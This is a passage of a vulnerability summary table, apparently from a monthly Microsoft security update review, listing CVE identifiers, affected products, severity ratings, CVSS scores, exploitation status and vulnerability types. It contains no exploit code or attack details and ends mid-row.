\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege 